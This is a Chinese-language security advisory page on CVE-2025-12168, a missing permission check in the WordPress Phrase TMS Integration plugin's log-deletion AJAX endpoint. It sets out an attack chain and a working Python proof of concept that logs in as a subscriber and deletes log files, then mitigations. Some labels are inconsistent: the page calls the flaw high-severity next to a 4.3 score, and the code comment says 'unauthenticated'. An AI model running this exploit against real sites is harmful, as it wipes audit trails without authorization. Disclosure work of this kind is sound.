IPBUF安全漏洞报告
English
CVE-2025-12168 CVSS 4.3 中危

CVE-2025-12168 WordPress Phrase TMS插件越权删除日志漏洞

披露日期: 2026-01-17

漏洞信息

漏洞编号
CVE-2025-12168
漏洞类型
越权漏洞
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Phrase TMS Integration for WordPress

相关标签

越权漏洞WordPress插件漏洞AJAX权限绕过CVE-2025-12168Phrase TMS访问控制缺陷日志删除WordPress安全

漏洞概述

CVE-2025-12168是WordPress平台Phrase TMS Integration插件中的一个高危安全漏洞。该插件用于与Phrase翻译管理系统集成,在所有版本直至4.7.5都存在严重的安全缺陷。漏洞根源在于插件的AJAX处理端点'wp_ajax_delete_log'缺少适当的权限验证机制,任何已认证用户(包括最低权限的Subscriber订阅者级别用户)都可以调用该端点执行日志文件删除操作。由于该端点直接处理文件系统操作且未验证用户权限,攻击者可以构造恶意请求删除服务器上的日志文件,可能影响系统审计追踪、干扰安全监控,并可能利用日志删除进行进一步的攻击掩盖。此漏洞CVSS评分4.3,属于中等严重程度,但考虑到WordPress的广泛使用以及日志文件对安全审计的重要性,该漏洞仍需及时修复。

技术细节

该漏洞属于典型的WordPress AJAX端点权限控制缺陷。在WordPress插件开发中,AJAX处理器通常使用wp_ajax_钩子注册,但开发者必须自行实现权限检查。Phrase TMS Integration插件的'wp_ajax_delete_log'端点存在以下问题:1) 未使用current_user_can()或同等权限检查函数验证请求者身份;2) 未验证用户角色是否具有管理选项或删除日志的权限;3) 直接接受用户传入的参数进行文件操作,存在路径遍历风险;4) 缺少CSRF令牌验证。由于WordPress的Subscriber角色默认只具有阅读内容的权限,无法访问管理后台,但AJAX端点绕过了这一限制,使得低权限用户可以执行特权操作。攻击者只需构造POST请求到wp-admin/admin-ajax.php,设置action参数为'delete_log',即可触发漏洞。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用WordPress CMS,并确认安装了Phrase TMS Integration插件版本<=4.7.5
STEP 2
步骤2: 获取低权限账户
攻击者注册为订阅者用户或利用现有低权限账户(如Subscriber角色),获取有效的WordPress认证会话
STEP 3
步骤3: 构造恶意请求
攻击者构造POST请求到wp-admin/admin-ajax.php,设置action参数为'delete_log',绕过权限检查
STEP 4
步骤4: 执行日志删除
服务器端接收到请求后,由于缺少current_user_can()权限验证,直接执行日志文件删除操作
STEP 5
步骤5: 清除攻击痕迹
攻击者可能批量删除日志文件以干扰安全审计、掩盖之前的攻击行为或造成DoS

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12168 PoC - WordPress Phrase TMS Integration Unauthenticated Log Deletion # Description: Missing authorization check on wp_ajax_delete_log AJAX endpoint target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = 'subscriber_user' # Low-privilege user account password = 'user_password' session = requests.Session() # Step 1: Authenticate with WordPress login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Exploit the vulnerability - Delete log files via AJAX endpoint ajax_url = f'{target_url}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'delete_log', 'log_id': '1' # Target log file ID } response = session.post(ajax_url, data=exploit_data) print(f'Status Code: {response.status_code}') print(f'Response: {response.text}') if response.status_code == 200: print('[+] Exploit sent successfully - Log file may be deleted') else: print('[-] Exploit failed - Check credentials and target')

影响范围

Phrase TMS Integration for WordPress <= 4.7.5

防御指南

临时缓解措施
在官方补丁发布前,可通过以下方式临时缓解:1) 使用WordPress安全插件限制非管理员用户的AJAX访问;2) 在主题functions.php中添加临时权限检查代码;3) 临时禁用或重命名问题AJAX端点;4) 加强日志文件目录权限控制,限制Web服务器用户对日志目录的写权限;5) 启用Web应用防火墙规则监控异常的AJAX请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表